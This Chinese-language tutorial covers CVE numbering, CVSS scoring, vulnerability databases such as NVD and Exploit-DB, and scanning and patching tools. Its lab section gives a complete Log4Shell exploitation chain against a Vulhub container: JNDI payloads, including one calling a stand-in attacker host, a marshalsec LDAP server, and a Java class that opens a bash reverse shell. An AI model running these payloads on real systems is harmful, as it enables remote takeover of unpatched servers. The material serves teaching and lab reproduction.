📘 什么是 CVE?
CVE(Common Vulnerabilities and Exposures)是一个由 MITRE 公司维护的信息安全漏洞标准化编号系统,始于 1999 年。每个被公开披露的漏洞都会获得一个唯一的 CVE 编号,格式为 CVE-YYYY-NNNNN,例如 CVE-2021-44228(Log4Shell)。
🎯 CVE 编号结构
- CVE:固定前缀
- YYYY:年份(漏洞公开或分配编号的年份)
- NNNNN:序列号(4-7 位数字)
- 示例:CVE-2017-0144(EternalBlue,MS17-010)
CVE 分配机构(CNA)
目前全球有 100+ 个 CNA(CVE Numbering Authorities)组织,包括:
- MITRE:总协调机构
- Microsoft、Oracle、Cisco:自家产品漏洞
- Google、Red Hat:开源项目漏洞
- 国家 CERT:中国 CNVD/CNNVD、日本 JPCERT 等
📊 CVSS 评分系统
CVSS 3.1 评分标准
CVSS(Common Vulnerability Scoring System)是一个开放的漏洞评分系统,用于评估漏洞的严重程度。
评分范围 严重等级 颜色标识
0.0 无 绿色
0.1 - 3.9 低危 (Low) 蓝色
4.0 - 6.9 中危 (Medium) 黄色
7.0 - 8.9 高危 (High) 橙色
9.0 - 10.0 严重 (Critical) 红色
示例:
CVE-2021-44228 (Log4Shell): CVSS 10.0 (严重)
CVE-2014-0160 (Heartbleed): CVSS 7.5 (高危)
CVE-2017-0144 (EternalBlue): CVSS 8.1 (高危)
CVSS 计算指标
🔢 Base Metrics(基础指标)
- 攻击向量 (AV):Network(N) / Adjacent(A) / Local(L) / Physical(P)
- 攻击复杂度 (AC):Low(L) / High(H)
- 权限要求 (PR):None(N) / Low(L) / High(H)
- 用户交互 (UI):None(N) / Required(R)
- 影响范围 (S):Unchanged(U) / Changed(C)
- CIA 影响:机密性 / 完整性 / 可用性(各分 None/Low/High)
# Log4Shell (CVE-2021-44228) CVSS 向量
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H
解读:
AV:N - 网络可达(无需本地访问)
AC:L - 攻击复杂度低(易于利用)
PR:N - 无需权限(未授权攻击)
UI:N - 无需用户交互(自动化攻击)
S:C - 影响范围改变(可逃逸到其他组件)
C:H - 机密性影响高(可读取敏感数据)
I:H - 完整性影响高(可修改数据)
A:H - 可用性影响高(可导致服务中断)
→ 最终评分: 10.0 (严重)
🗄️ 主要漏洞数据库
1. NVD(国家漏洞数据库)
# 查询特定 CVE
curl "https://services.nvd.nist.gov/rest/json/cves/2.0?cveId=CVE-2021-44228"
# 查询 2023 年的所有漏洞
curl "https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2023-01-01T00:00:00.000&pubEndDate=2023-12-31T23:59:59.999"
# 查询 CVSS 9.0+ 的严重漏洞
curl "https://services.nvd.nist.gov/rest/json/cves/2.0?cvssV3Severity=CRITICAL"
2. Exploit-DB
网址:https://www.exploit-db.com/
# 使用 searchsploit 本地搜索
searchsploit apache 2.4.49
searchsploit -m 50383 # 下载 Exploit 代码
searchsploit -x 50383 # 查看代码
# 搜索平台特定的 Exploit
searchsploit --platform=linux kernel
searchsploit --type=remote apache
# 更新数据库
searchsploit -u
3. GitHub Advisory Database
专注于开源软件依赖漏洞,集成在 GitHub Security 中。
# 使用 GitHub CLI 查询
gh api graphql -f query='
{
securityVulnerabilities(first: 10, ecosystem: NPM, orderBy: {field: UPDATED_AT, direction: DESC}) {
nodes {
advisory {
summary
severity
identifiers { type value }
}
package { name }
vulnerableVersionRange
}
}
}'
4. 中国漏洞库
- CNVD(国家信息安全漏洞共享平台):https://www.cnvd.org.cn/
- CNNVD(国家信息安全漏洞库):http://www.cnnvd.org.cn/
🔍 漏洞检索技巧
按产品搜索
# NVD 搜索 Apache Struts 漏洞
https://nvd.nist.gov/vuln/search/results?query=apache+struts
# 使用 CPE(Common Platform Enumeration)精确搜索
cpe:2.3:a:apache:struts:2.5.26:*:*:*:*:*:*:*
# CVE Details 搜索特定版本
https://www.cvedetails.com/product/6117/Apache-Struts.html
按漏洞类型搜索
# 搜索 SQL 注入漏洞
site:nvd.nist.gov "SQL injection"
# 搜索远程代码执行漏洞
site:nvd.nist.gov "remote code execution"
# 在 Exploit-DB 搜索
searchsploit --cve 2021-44228
searchsploit "remote code execution" --platform=windows
🔬 漏洞分析流程
案例:分析 CVE-2021-44228 (Log4Shell)
CVE-2021-44228 (Log4Shell)
基本信息:
- 披露时间: 2021-12-09
- 影响组件: Apache Log4j 2.0-beta9 至 2.14.1
- 漏洞类型: 远程代码执行(RCE)
- CVSS 评分: 10.0 (严重)
漏洞原理:
Log4j2 支持 JNDI Lookup 功能,攻击者通过构造恶意 JNDI URL,
诱使服务器从远程加载并执行恶意 Java 类。
Payload 示例:
${jndi:ldap://attacker.com/a}
影响范围:
- Minecraft 服务器
- iCloud、Steam、Twitter 等大型服务
- 数百万 Java 应用
查看官方公告
# Apache 官方公告
https://logging.apache.org/log4j/2.x/security.html
# NIST 分析
https://nvd.nist.gov/vuln/detail/CVE-2021-44228
# CISA 警告
https://www.cisa.gov/news-events/cybersecurity-advisories/aa21-356a
🧪 漏洞复现实战
1. 搭建测试环境
# 拉取漏洞环境镜像(Vulhub)
git clone https://github.com/vulhub/vulhub.git
cd vulhub/log4j/CVE-2021-44228
# 启动容器
docker-compose up -d
# 访问漏洞应用
curl http://localhost:8983/solr/
2. 漏洞验证
# 使用 dnslog 平台验证
# 1. 访问 http://dnslog.cn/ 获取域名
# 假设获得: abc123.dnslog.cn
# 2. 发送 Payload
curl -H "X-Api-Version: \${jndi:ldap://abc123.dnslog.cn/a}" http://localhost:8983/solr/
# 3. 检查 dnslog 是否收到 DNS 请求
# 如果收到,说明漏洞存在
# 或使用 Burp Collaborator
${jndi:ldap://burp-collaborator-subdomain.burpcollaborator.net/a}
3. Exploit 利用
# 使用 marshalsec 搭建恶意 LDAP 服务器
java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.LDAPRefServer "http://192.168.1.100:8000/#Exploit"
# 编译恶意类
javac Exploit.java
# Exploit.java 内容:
public class Exploit {
static {
try {
Runtime.getRuntime().exec("bash -c 'bash -i >& /dev/tcp/192.168.1.100/4444 0>&1'");
} catch (Exception e) {}
}
}
# 启动 HTTP 服务器托管 Exploit.class
python3 -m http.server 8000
# 启动监听器
nc -lvnp 4444
# 发送 Payload
curl -H "X-Api-Version: \${jndi:ldap://192.168.1.100:1389/Exploit}" http://localhost:8983/solr/
# 获得反弹 Shell
🛡️ 防御措施
✅ 漏洞防护最佳实践
- 及时更新:订阅安全公告,第一时间应用补丁
- 漏洞扫描:使用 Nessus、OpenVAS 定期扫描
- 虚拟补丁:无法立即更新时,使用 WAF/IPS 临时防护
- 最小权限:应用程序以最低权限运行
- 依赖管理:使用 Snyk、Dependabot 扫描依赖漏洞
使用漏洞扫描工具
# Nmap NSE 脚本扫描
nmap -p 445 --script smb-vuln-ms17-010 192.168.1.0/24
# Nuclei 漏洞扫描
nuclei -u http://target.com -t cves/
# 扫描特定 CVE
nuclei -u http://target.com -t cves/2021/CVE-2021-44228.yaml
# Trivy 容器镜像扫描
trivy image nginx:1.19.0
依赖漏洞检测
# OWASP Dependency-Check
dependency-check --project myapp --scan ./lib
# npm audit (Node.js)
npm audit
npm audit fix
# pip-audit (Python)
pip-audit
# Maven (Java)
mvn org.owasp:dependency-check-maven:check
🔥 历史重大 CVE 漏洞
CVE-2021-44228 (Log4Shell)
- 时间: 2021-12
- 影响: Apache Log4j 2.x
- 类型: RCE
- 评分: 10.0
CVE-2017-0144 (EternalBlue / MS17-010)
- 时间: 2017-03
- 影响: Windows SMB
- 类型: RCE
- 评分: 8.1
- 被 WannaCry / NotPetya 勒索软件利用
CVE-2014-0160 (Heartbleed)
- 时间: 2014-04
- 影响: OpenSSL 1.0.1 - 1.0.1f
- 类型: 信息泄露
- 评分: 7.5
- 可窃取服务器内存中的私钥
CVE-2014-6271 (Shellshock)
- 时间: 2014-09
- 影响: Bash
- 类型: RCE
- 评分: 10.0
- 影响 Linux/Unix 系统
CVE-2019-0708 (BlueKeep)
- 时间: 2019-05
- 影响: Windows RDP
- 类型: RCE (可蠕虫传播)
- 评分: 9.8
CVE-2021-34527 (PrintNightmare)
- 时间: 2021-06
- 影响: Windows Print Spooler
- 类型: RCE / 提权
- 评分: 8.8
📚 学习资源
🌐 漏洞数据库
- NVD (nvd.nist.gov)
- CVE Details
- Exploit-DB
- Packet Storm Security
- Vulners
🔧 扫描工具
- Nessus / OpenVAS
- Nuclei
- Nmap NSE
- Trivy / Grype
- OWASP Dependency-Check
📖 学习平台
- Vulhub (漏洞环境)
- HackTheBox
- TryHackMe
- PentesterLab
- PortSwigger Web Security Academy
📰 安全情报
- CISA Alerts
- Krebs on Security
- The Hacker News
- BleepingComputer
- 安全客 / FreeBuf
📚 总结
掌握 CVE 漏洞库的使用是每个安全从业者的基本功。通过系统学习 CVE 编号体系、CVSS 评分标准、漏洞数据库检索技巧,能够快速定位和分析已知漏洞,评估系统风险。
在实际工作中,建议订阅相关安全公告(如 CISA、厂商公告),定期进行漏洞扫描,及时应用安全补丁。同时,通过漏洞复现练习(如 Vulhub、HackTheBox),深入理解漏洞原理和利用方法,提升实战能力。
🖼️ 漏洞研究实战